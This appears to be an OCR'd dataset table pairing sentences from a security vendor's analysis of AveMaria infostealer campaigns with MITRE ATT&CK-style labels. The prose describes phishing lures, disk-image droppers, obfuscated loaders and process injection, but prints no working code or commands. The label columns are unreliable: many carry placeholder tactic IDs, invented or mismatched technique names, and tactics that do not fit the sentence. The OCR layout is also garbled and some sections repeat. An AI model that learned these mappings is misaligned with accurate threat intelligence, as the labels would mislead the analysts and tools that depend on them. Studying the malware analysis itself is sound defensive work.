'Planning’, 'tid": 'T1059',
'technique': 'Tactic
Development(T1059)'}]
This section details different variations of the AveMaria stealer attack | [{'taid': 'TA000O', 'tactic': [0, 1]
chain analyzed across samples discovered between July and 'Planning', 'tid': 'T1587',
December of 2022. 'technique': 'ldentify
Observed Host
Indicators(T1587)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1022', 'technique':
'‘Commands(T1022)'}]
The case studies included below specifically focus on how different [{'taid": 'TAO000Q', 'tactic': [0, 1]

file formats and techniques are used to execute the AveMaria end
payload on the victim’s machine, instead of directly dropping and
executing the malware.

'Execution’, 'tid":
'T1566', 'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]




In December, ThreatLabz researchers identified the AveMaria .Vhd(x)
campaign.

[{'taid": 'TA0011", 'tactic':
'Collection’, 'tid":
'T1596', 'technique':
'Data Scanning: Scan for
Credentials(T1596)'}]

-

U]

This campaign is defined by the discovery of a new execution
technique that uses the Virtual Hard Disk file format to drop the
malicious downloader payload in one of the two formats onto the
victim’s machine.

[{'taid": 'TAO000Q', 'tactic':
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

U]

In this scenario, phishing emails impersonating the Russian
government targeted Kazakhstan officials with a malicious .vhdx file
disguised as a fake meeting notice.

[{'taid': 'TA0002', 'tactic':
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerade as
Legitimate
Application(T1036)'}]

[0,1,2]

Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials
with malicious .vhdx file attachment designed to launch an AveMaria
infostealer attack.

[{'taid': 'TA0002', 'tactic':
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerade as
Legitimate
Application(T1036)'}]

[0,1,2]

Upon executing the attached .vhdx file, researchers observed the
creation of a new system drive (see Tag 1 in Fig. 3 below) containing a
malicious .Ink file, a decoy file, and other system related files (see Tag
2 in Fig. 3 below).

[{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1574.001", 'technique':
'Hidden
Window(T1574.001)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid":
'T1564.001', 'technique':
'Hide Artifacts: Hidden
Files and
Directories(T1564.001)'}]

[0,1,2]

Triggering the malicious shortcut file downloads another payload via
curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious
file in the impacted system’s temp directory.

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique':
'Remote File
Copy(T1105)'}]

[0, 1]




Finally, execution of the final payload infects the victim’s machine with
the AveMaria malware and enables attackers to gain access and take
control.

[{'taid': 'TAO00Q', 'tactic':
'Persistence’, 'tid":
'T1547.001", 'technique':
'Boot or Logon Autostart
Execution: Registry Run
Keys / Startup
Folder(T1547.001)'},
{'taid': 'TA0003', 'tactic":
'Privilege Escalation’,
'tid": 'T1562.001",
'technique': 'Service
Execution(T1562.001)'},
{'taid": 'TA0002', 'tactic":
'Command and Control',
'tid": 'T1573.002',
'technique': 'Encrypted
Channel: Asymmetric
Cryptography(T1573.002
)’

[0,1,2]

Under the same campaign, researchers observed another variation of
the attack chain with a custom downloader and other system related
files, as shown in Fig. 5 below.

[{'taid": 'TAO00OQ', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique":
'Remote File
Copy(T1105)'}]

[0, 1]

Unfortunately the phishing email for this case study is unavailable, so
researchers can not identify the target of these attacks or deduce
exactly how the initial payload (.vhd file) was delivered.

[{'taid': 'TA0000Q', 'tactic':
'Collection’, 'tid":
'T1596', 'technique':
'Data Scanning: Scan for
Credentials(T1596)'}]

U]

Fig. 5 - Malicious payload file properties of custom downloader
Stage 1: Custom downloader

The custom downloader used in this AveMaria attack chain retrieves
an encrypted file from a third party file sharing website and after
downloading and decrypting in memory, it executes the decrypted
version of the retrieved payload, which is in PE format.

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1204', 'technique':
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1567', 'technique':
'Exfiltration Over
Alternative
Protocol(T1567)'}]

[0,1,2]

Fig. 6 - Shows the decryption logic to get the second stage payload in
PE format.

[{'taid": 'TAO000Q', 'tactic':
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

U]

To build the downloaded file in PE format, the custom downloader
makes use of type casting or type-conversion mechanism whereby
different data types are used to manipulate the values at bit level.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

U]

In C# programming, the byte data type is represented by an 8-bit
unsigned integer, i.e. it only takes positive values and will ignore the
signed bit associated with the value.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

U]

In the current decryption scenario, the custom downloader gets the
handle and an offset of an array and via “for loop” gets a byte value at

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":

U]




particular offset, thereafter convert it to an integer data type and
subsequently subtract it with the hardcoded value (which in our case
is “585” and can be different in other cases) resulting in negative
integer value.

'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

the negative integer value gets converted to a byte data type. And the | [{'taid": 'TAO00O', 'tactic'": | 1 [0]
hex value of the byte data type will get substituted at the particular 'Defense Evasion’, 'tid":
offset of an array. 'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
It is worth noting that the integer type holds 32-bits of data compared | [{'taid": 'TA000OQ', 'tactic': | 1 [0]
to a byte which holds only 8-bits of data. Converting any integer data | 'Defense Evasion’, 'tid":
type to a byte data type results in the computer only reading the last ‘T1027', 'technique':
8-bit value. 'Obfuscated Files or
information(T1027)'}]
For example, converting a hex value 0xB8 from the encrypted array [{'taid": 'TAO00OQ', 'tactic': | 1 [0]
holding “This program” string to an integer data type results in “184”, | 'Defense Evasion’, 'tid":
and subtracting it with “585”, the final value is “-401”, which is ‘T1027', 'technique':
represented in binary as: 'Obfuscated Files or
information(T1027)'}]
“1111111111111111111111111111111111111111111111111111110011
01111”
Going the other way and converting the integer data type to byte data | [{'taid": 'TA0000', 'tactic': | 1 [0]
type, the system will read only the last 8-bit value, which in binary is 'Defense Evasion’, 'tid":
“01101111”. 'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
So the hexadecimal value of the mentioned binary value will be “0x6F”, | [{'taid': 'TA000Q', 'tactic": | 1 [0]
as shown below, and the converted ASCII value of “Ox6f” is “0”, which | 'Defense Evasion', 'tid":
is a part of the “This program” string. ‘T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
Dumping the decrypted file from memory, achieved in Stage 1, results | [{'taid": 'TA0000', 'tactic': | 2 [0, 1]
in a .Net DLL binary without exports. The DLL binary consists of 'Exfiltration’, 'tid":
encrypted bytes under the resource section named “a”, passed as an | 'T1560', 'technique':
argument to the decryption function to reveal the final AveMaria 'Archive Collected
payload, as shown below. Data(T1560)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
This is the final stage of decryption, after which the AveMaria payload | [{'taid": 'TA0000', 'tactic": | 2 [0, 1]
is executed and kicks-off C2 communications validating the ‘Command and Control',
successful execution of the malware on the victim’s machine. 'tid": 'T1024",
'technique': 'Custom
Command and Control
Protocol(T1024)'}, {'taid":
'"TA0000', 'tactic'":
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]
It uses the same phishing email technique to distribute the main [{'taid": 'TAO00OQ', 'tactic': | 2 [0, 1]
malicious binary. 'Social Engineering’,
'tid": 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'"T1192', 'technique':
'Spearphishing
Attachment(T1192)'}]
This campaign leverages a highly obfuscated Autoit script and Autoit | [{'taid": 'TA0000', 'tactic": | 2 [0, 1]

interpreter to decrypt the AveMaria binary in memory and then
execute the payload.

'Defense Evasion', 'tid'":
'T1027', 'technique':




'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'}]

The Autoit script is bundled into a self-executing compressed file or
executable package known as the parent payload, which consists of
all the required components to facilitate the execution of the main
malware.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T12083', 'technique':
'Exploitation for Client
Execution(T1203)'}]

[0,1,2]

The related phishing email analyzed during this case study (shown
below) invites the recipient to submit a competitive quotation offer for
an unidentified tender.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'"T1192', 'technique':
'Spearphishing
Attachment(T1192)'}]

[0, 1]

Requesting a quote is a common practice businesses use to procure
fair goods and services.

[{'taid': 'TA0000Q', 'tactic':
'Initial Access', 'tid":
'T1199', 'technique':
'Supply Chain
Compromise(T1199)'}]

U]

However in this case, the attached zip file sent with the email
invitation is malicious and designed to result in an AveMaria
infostealer attack.

[{'taid": 'TAO00OQ', 'tactic':
'Exfiltration’, 'tid":
'T1052', 'technique':
'Exfiltration Over
Command and Control
Channel(T1052)'}]

U]

After extracting the payload from the attached zip file the bundled
parent payload is revealed.

[{'taid': 'TAO00Q', 'tactic':
'Discovery’, 'tid":
'"T1497', 'technique':
'Virtualization/Sandbox
Evasion(T1497)'}]

U]

Tag2: Drops malicious and decoy files on execution.

[{'taid': 'TAO00Q', 'tactic':
'Impact’, 'tid": 'T1485',
'technique': 'Data
Destruction(T1485)'},
{'taid': 'TA0000', 'tactic':
'Impact’, 'tid": 'T1499',
'technique': 'Local Data
Staging(T1499)'}]

[0, 1]

Tag3: Parent file calls wscript.exe with an argument of dropped
malicious vbscript file. The vbscript file then calls out the malicious
Autoit script with the interpreter. The execution of Autoit script then
leads to process injection of malware into a legitimate file.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1105', 'technique:
'Ingress Tool
Transfer(T1105)'}, {'taid":
'"TA0000', 'tactic':

[0,1,2,3]




'Defense Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1055', 'technique':
'Process
Injection(T1055)'}]

Tag4: Payload loaded in RegSvcs.exe memory.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1055', 'technique:
'Process
Injection(T1055)'}]

[0, 1]

September | Phishing Campaign Targeting Serbian Citizens and
Vbs_campaign Purchase Order Scam

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid": 'T1566',
'technique':
'Phishing(T1566)'}]

U]

In September, researchers discovered two different AveMaria malware
delivery phishing campaigns, first an e-identification portal login
credential scam that targets Serbian citizens and second a purchase
order scam requesting an invoice payment.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Impact’, 'tid": 'T1496",
'technique': 'Resource
Hijacking(T1496)'}]

[0,1,2]

In this campaign, Serbian citizens were targeted with a phishing email
impersonating the government of Serbia and prompting them to
update and store new login credentials for access to the government
e-identification portal.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]

[0, 1]

The attached zip file (see Fig. 13) contains the malicious AveMaria
payload, which when executed creates a copy of itself at
the %userprofile%\document location.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]

[0, 1]

To further evade detection by Windows defender at runtime, the
malware author(s) added the functionality to exclude the whole drive
prior to the initialization of the copied file for further infection, via
powershell command as shown below.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1053', 'technique':
'Scheduled
Task/Job(T1053)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1112', 'technique":

[0,1,2]




'Modify
Registry(T1112)'}]

Once the malicious packed binary, named Adobe5151.exe, is
executed, it decrypts the end payload, steals user sensitive
information, and establishes C2 communication for performing
exfiltration of the stolen data.

[{'taid": 'TAO00OQ', 'tactic':
'Exfiltration’, 'tid":
'T1041", 'technique':
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'TA0000', 'tactic":
'Command and Control',
'tid": 'T1573',
'technique': 'Encrypted
Channel(T1573)'}, {'taid":
'TA0000', 'tactic":
'Exfiltration’, 'tid":
'T1002', 'technique':
'Data
Compressed(T1002)'}]

[0,1,2]

In the same month, researchers discovered another phishing
campaign imitating a generic purchase order payment request with a
malicious payload disguised as a fake invoice attached to the email. A
key differentiator in this particular attack chain is the various stages of
obfuscation and execution.

[{'taid': 'TA0000Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

[0,1,2]

Extracting the vbscript from the attached zip file what looks like a pdf
filetype but appears with a script file icon, which serves as an
indicator that the file is in fact a script disguised as a pdf.

[{'taid': 'TAO00Q', 'tactic':
'Deception’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

-

U]

The vbscript (see Star 1 in the screenshot below) which is in an
obfuscated format, on execution, calls out powershell.exe with
commands consisting of two downloading urls (see Star 2 in the
screenshot below).

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Command and Control',
'tid": 'T1071",
'technique': 'Application
Layer Protocol(T1071)'}]

[0, 1]

The interesting fact is that the vbscript provided only two downloading
urls (as an input), but as can be seen above (see Star 3 in Fig. 19),
three files were downloaded, and all of them are obfuscated in some
or the other manner.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Deception’, 'tid":
'T1001', 'technique:
'Data
Obfuscation(T1001)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1105', 'technique:
'Ingress Tool
Transfer(T1105)'}]

[0,1,2]

The downloaded files were all base64 encoded, which after decoding
turns out to be an injector .Net binary dll (base64 encoded) a

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or

[0, 1]




supporting dil (base64 encoded filled with replaceable value) AveMaria
payload in reversed base64 encoded format.

information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'}]

Decoding the dli2.txt file reveals a dotnet DLL binary that acts as a
downloader and injector to execute the end payload.

[{'taid': 'TA0000Q', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1055', 'technique:
'Process
Injection(T1055)'}]

[0,1,2]

Instead of directly downloading and executing the malware onto the
system, threat actors use a custom binary to download supporting
DLL and restore the same. Subsequently, it downloads the reversed
base64 encoded AveMaria payload and puts it back to base64 format.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':
'Masquerading(T1036)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1059', 'technique':
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1218', 'technique":
'Signed Binary Proxy
Execution(T1218)'}]

[0,1,2,3]

Once all the required files are in place, the same will be used to
perform process injection as shown below.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'T1055', 'technique':
'Process
Injection(T1055)'}]

U]

The file named jfgfhhjhgjkj.txt is the actual AveMaria payload,
downloaded in the reversed base64 encoded format. After
restructuring and decoding, the main payload is revealed. The
screenshot below shows the file properties and strings present inside
the malicious payload.

[{'taid": 'TAO000Q', 'tactic':
'Exfiltration’, 'tid":
'T1002', 'technique':
'Data
Compressed(T1002)'}]

U]

In August, researchers observed a new phishing campaign targeting
Ukrainian officials impersonating a representative from the Ukrainian
Department of Economic Policy and Strategic Planning. The featured
phishing emails included an ISO file attachment containing the
malicious AveMaria payload along with three decoy documents and
four shortcut files.

[{'taid': 'TAO00Q', 'tactic':
'Social Engineering’,
'tid': 'T1566',
'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1193', 'technique":
'Spearphishing
Attachment(T1193)'}]

[0, 1]

All the shortcut files examined from the attached ISO file in this
campaign contain the same powershell command that searches for a
hardcoded filename in each drive.

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'}]

U]

The file named gov12.exe is the actual Avemaria executable which on
execution creates a copy of itself with the hardcoded filename

[{'taid": 'TAO00OQ', 'tactic':
'Execution’, 'tid":

[0,1,2]




images.exe at %userprofile%\documents folder location, adds run key
in the registry to achieve persistence and then initiates the copy for
further infection.

'T1053', 'technique':
'Scheduled
Task/Job(T1053)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1060', 'technique':
'Registry Run
Keys/Startup
Folder(T1060)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]

In the seventh case study attack chain, researchers observed that the | [{'taid: 'TA0000', 'tactic': [0, 1]
“System Binary Proxy Execution” detection evasion technique is used | 'Defense Evasion’, 'tid":
for executing the end payload. A malicious HTA file consisting of a 'T1218', 'technique':
vbscript code under <script> tag, is used to download the end 'Signed Binary Proxy
payload. The phishing email file associated with this attack chain was | Execution(T1218)"},
unavailable, but we anticipate that the .iso file is being distributed as | {'taid": "'TA0000', 'tactic":
an attachment on'y_ 'Initial Access', 'tid":
'T1193', 'technique":
'Spearphishing
Attachment(T1193)'}]
The shortcut files extracted from the attached ISO file consist of a [{'taid": 'TAO00OQ', 'tactic': [0,1,2]
powershell command and some obfuscated code decrypted at ‘Execution’, 'tid":
runtime by the powershell binary. Executing shortcut files downloads | ‘'T1059', 'technique':
malicious .hta extension file and thereafter executes the latter via ‘Command and Scripting
mshta.exe. Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1105', 'technique:
'Remote File
Copy(T1105)'}]
The .hta file consists of a vbscript under <script> tag generates an [{'taid": 'TAO00OQ', 'tactic': [0, 1]
obfuscated third stage powershell code when executed and then the | 'Execution’, 'tid":
latter is passed as an argument to legitimate powershell binary for 'T1059', 'technique:
further execution. '‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'}]
After researchers decoded and beautified the obfuscated script a [{'taid": 'TAO000Q', 'tactic': [0,1,2]

legible powershell script was revealed containing the following key
functions: 1.) Main function: contains the logic to check for file

at %appdata% folder (see blue bracket on the right in the screenshot
below) if true, then execute the same via “Invoke-item” command. If
false, then logic to download and execute the same. 2.) Decoding
function: contains the logic to decode encoded data (see red box in
the screenshot below) 3.) Downloading function: contains code related
to initiating web connection object which downloads the files (see
green box in the screenshot below)

'Execution’, 'tid":
'T1059', 'technique:
'‘Command and Scripting
Interpreter(T1059)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1048', 'technique':
'Exfiltration Over
Command and Control
Channel(T1048)'}]




The powershell script shown above downloads and executes the
AveMaria stealer malware onto the target system in the last stage of
the attack.

[{'taid": 'TAO000Q', 'tactic':
'Execution’, 'tid":
'T1106', 'technique':
'Execution through
API(T1106)'}, {'taid":
'TA0000', 'tactic":
'Execution’, 'tid":
'T1064', 'technique':
'Scripting(T1064)'}]

[0, 1]

Note: In this attack, a website was compromised to host malicious
payloads.

[{'taid': 'TA0000', 'tactic':
'Initial Access', 'tid":
'T1190', 'technique:
'Exploit Web
Service(T1190)'}, {'taid":
'TA000Q', 'tactic': 'Initial
Access', 'tid": 'T1191',
'technique': 'Supply
Chain
Compromise(T1191)'}]

[0, 1]

From the case studies detailed in this analysis, it is evident that the
developers of the AveMaria infostealer are actively maintaining the
malware and updating the phases and stages of execution with new
techniques to ensure the stealer remains relevant by evading
detection.

[{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid":
"T1497', 'technique':
'Virtualization/Sandbox
Evasion(T1497)'}, {'taid":
'TA0000', 'tactic":
'Defense Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Persistence’, 'tid":
'T1529', 'technique':
'System
Services(T1529)'}, {'taid":
'TA0000', 'tactic":
'Privilege Escalation’,
'tid": 'T1088',
'technique': 'Bypass
User Account
Control(T1088)'}, {'taid":
'TA0000', 'tactic":
'Evasion', 'tid": 'T1496',
'technique': 'Obfuscated
Files or
Information(T1496)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1041", 'technique":
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'TA0000', 'tactic":
'Exfiltration’, 'tid":
'T1048', 'technique":
'Exfiltration Over
Command and Control
Channel(T1048)'}]

0,1,2,3,4,5,
6]

While examining the various TTPs over a span of six months,
ThreatLabz researchers observed a multitude of changes to the
AveMaria malware distribution mechanisms typically updated monthly,
so that even if one mechanism is flagged by security operators the
others can still be applied effectively.

[{'taid': 'TA0000Q', 'tactic':
'Defense Evasion', 'tid'":
'"T1497', 'technique':
'Virtualization/Sandbox
Evasion(T1497)'}, {'taid":
'"TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Command and Control',

[0, 1,2,3,4]




'tid": 'T1570',
'technique': 'Use of
Encrypted
Channels(T1570)'},
{'taid': 'TA0000', 'tactic':
'Exfiltration’, 'tid":
'T1041', 'technique":
'Exfiltration Over
Alternative
Protocol(T1041)'}, {'taid":
'TA0000', 'tactic":
'Exfiltration’, 'tid":
'T1048', 'technique":
'Exfiltration Over
Command and Control
Channel(T1048)'}]

Expert Review Result
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Zscaler’s ThreatLabz research team diligently monitors and tracks
active threat campaigns globally to rapidly detect new developments
and proactively safeguard Zscaler customers.

[{'taid': 'TAO005', 'tactic':
'Collection’, 'tid":
'T1567.002', 'technique':
'Steal Web Session
Cookie(T1567.002)'},
{'taid': 'TA0040', 'tactic":
'Discovery’, 'tid":
'T1583', 'technique':
'Acquire
Infrastructure(T1583)'},
{'taid': 'TA0040', 'tactic":
'Discovery’, 'tid":
'T1582', 'technique':
'ldentify
Infrastructure(T1582)'},
{'taid': 'TA0003', 'tactic":
'Credential Access', 'tid":
'T1555.008', 'technique':
'Steal Web
Credentials(T1555.003)'}]

4

I

The seven case studies that follow provide an in-depth analysis of the
AveMaria infostealer attack chain and how it has been shifting over
the past six months.

[{'taid': 'TA0040', 'tactic':
'Discovery’, 'tid":
'T1589', 'technique:
'Conduct Active
Scanning(T1589)'},
{'taid': 'TA0005', 'tactic':
'Collection’, 'tid":
'T1556.002', 'technique':
'Modify System Image to
Persist via Boot
loader(T1556.002)'},
{'taid': 'TA0040', 'tactic":
'Discovery’, 'tid":
'T1590', 'technique':
'Conduct Passive
Scanning(T1590)'},
{'taid': 'TA0003', 'tactic":
'Credential Access', 'tid":
'T1555.008', 'technique':
'Steal Web
Credentials(T1555.003)'}]

AveMaria is a Remote Access Trojan (RAT) infostealer malware that
targets sensitive data with added capabilities of remote camera
control and privilege escalation.

[{'taid": 'TA0002', 'tactic':
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing(T1566)'}]




Over the past six months, researchers have observed significant [{'taid": 'TAO00OQ', 'tactic': | 1 0
changes and additions to the execution stages and Tactics, 'Planning', 'tid': 'T1185',
Techniques, and Procedures that characterize an AveMaria attack. 'technique': 'Execution
through API(T1185)"}]
AveMaria attacks are initiated via phishing emails, once the dropped [{'taid": 'TA0002', 'tactic': | 2 [0, 1]
payload infects the victim’s machine with the malware, it establishes 'Initial Access', 'tid":
communication with the attacker’s Command-and-Control (C2) server | 'T1566', 'technique":
on non-HTTP protocol, after decrypting its C2 connection using RC4 'Phishing(T1566)'},
algorithm. {'taid': 'TA0002', 'tactic":
'‘Command and Control
', 'tid": 'T1573.001",
'technique': 'Encrypted
Channel(T1573.001)'}]
The most recent variation in the AveMaria attack chain technique [{'taid": 'TAO00OQ', 'tactic': | 2 0
leverages a custom downloader that decrypts a disguised payload by | 'Defense Evasion’, 'tid":
converting the value data type to another, known as type casting. ‘T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027.002', 'technique':
'"Type
Casting(T1027.002)'}]
Analysis of AveMaria 2022 Case Studies [{'taid": 'TAO00OQ', 'tactic': | 1 0
'Planning’, 'tid": 'T1059',
'technique': 'Tactic
Development(T1059)'}]
This section details different variations of the AveMaria stealer attack | [{'taid": 'TA0000', 'tactic": | 2 0
chain analyzed across samples discovered between July and 'Planning', 'tid': 'T1587',
December of 2022. 'technique': 'ldentify
Observed Host
Indicators(T1587)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1022', 'technique':
'‘Commands(T1022)'}]
The case studies included below specifically focus on how different [{'taid": 'TAO00OQ', 'tactic': | 2 0
file formats and techniques are used to execute the AveMaria end 'Execution’, 'tid":
payload on the victim’s machine, instead of directly dropping and 'T1566', 'technique':
executing the malware. 'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'}]
In December, ThreatLabz researchers identified the AveMaria .Vhd(x) | [{'taid": 'TA0011', 'tactic': | 1 0
campaign. 'Collection’, 'tid":
'T1596', 'technique':
'Data Scanning: Scan for
Credentials(T1596)'}]
This campaign is defined by the discovery of a new execution [{'taid": 'TAO00OQ', 'tactic': | 1 0
technique that uses the Virtual Hard Disk file format to drop the 'Execution’, 'tid":
malicious downloader payload in one of the two formats onto the ‘T1027', 'technique':
victim’s machine. 'Obfuscated Files or
information(T1027)'}]
In this scenario, phishing emails impersonating the Russian [{'taid": 'TA0002', 'tactic: | 3 [0, 1]

government targeted Kazakhstan officials with a malicious .vhdx file
disguised as a fake meeting notice.

'Initial Access', 'tid":
'T1566', 'technique':
'Phishing(T1566)'},
{'taid': 'TA0000', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution(T1204)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1036', 'technique':




'Masquerade as
Legitimate
Application(T1036)'}]

Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials
with malicious .vhdx file attachment designed to launch an AveMaria
infostealer attack.

[{'taid': 'TA0002', 'tactic':
'Initial Access', 'tid":
